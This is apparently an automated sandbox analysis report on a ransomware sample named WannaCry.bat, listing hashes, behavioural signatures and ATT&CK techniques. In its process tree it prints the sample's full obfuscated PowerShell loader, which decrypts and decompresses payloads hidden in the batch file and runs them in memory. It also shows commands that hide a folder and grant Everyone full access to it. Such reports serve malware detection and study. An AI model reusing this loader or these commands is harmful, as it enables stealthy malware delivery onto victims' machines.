Analysis
-
max time kernel
93s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
04-08-2024 12:06
Static task
static1
Behavioral task
behavioral1
Sample
WannaCry.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
WannaCry.bat
Resource
win10v2004-20240802-en
General
-
Target
WannaCry.bat
-
Size
4.5MB
-
MD5
c8dbe481d2770bc451c8743c27ba6ce9
-
SHA1
1b323d89ed671bcd6a2a304f62e61541d18ca3ab
-
SHA256
10760fe9e1b716649af9dc2d710d82032928324868caee715328e2f43ab44dc6
-
SHA512
f7932900c47f1278ee51f4380e3735edd199915917de8476a1f738d400d75a28c92fde3028d0956f0c2693dcd51f85e3ee5c798a114b202a22855c227623d910
-
SSDEEP
49152:l44FfYXDfYKWQwSm5JAyJx2ems7dhSYS0to/Q6rj6p3tQmd9+du9b:Pb
Malware Config
Signatures
-
Wannacry
WannaCry is a ransomware cryptoworm.
-
Modifies file permissions 1 TTPs 1 IoCs
pid Process 64 icacls.exe -
pid Process 1452 powershell.exe -
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
-
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0 attrib.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1452 powershell.exe 1452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1452 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 208 wrote to memory of 1452 208 cmd.exe 87 PID 208 wrote to memory of 1452 208 cmd.exe 87 PID 208 wrote to memory of 1452 208 cmd.exe 87 PID 1452 wrote to memory of 1436 1452 powershell.exe 89 PID 1452 wrote to memory of 1436 1452 powershell.exe 89 PID 1452 wrote to memory of 1436 1452 powershell.exe 89 PID 1452 wrote to memory of 64 1452 powershell.exe 90 PID 1452 wrote to memory of 64 1452 powershell.exe 90 PID 1452 wrote to memory of 64 1452 powershell.exe 90 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1436 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WannaCry.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UXL0PfD03X4aCPWYkGBthkmMJQmcIFB9G/6RLKToTsY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W2Fkicbjw65AFJXzKIHMnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VoCsZ=New-Object System.IO.MemoryStream(,$param_var); $OQNsV=New-Object System.IO.MemoryStream; $ugdeq=New-Object System.IO.Compression.GZipStream($VoCsZ, [IO.Compression.CompressionMode]::Decompress); $ugdeq.CopyTo($OQNsV); $ugdeq.Dispose(); $VoCsZ.Dispose(); $OQNsV.Dispose(); $OQNsV.ToArray();}function execute_function($param_var,$param2_var){ $NtFei=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PmdTN=$NtFei.EntryPoint; $PmdTN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\WannaCry.bat';$jeRNS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\WannaCry.bat').Split([Environment]::NewLine);foreach ($ufEkh in $jeRNS) { if ($ufEkh.StartsWith(':: ')) { $wDNWk=$ufEkh.Substring(3); break; }}$payloads_var=[string[]]$wDNWk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\SysWOW64\attrib.exeattrib +h .3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:1436
-
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:64
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82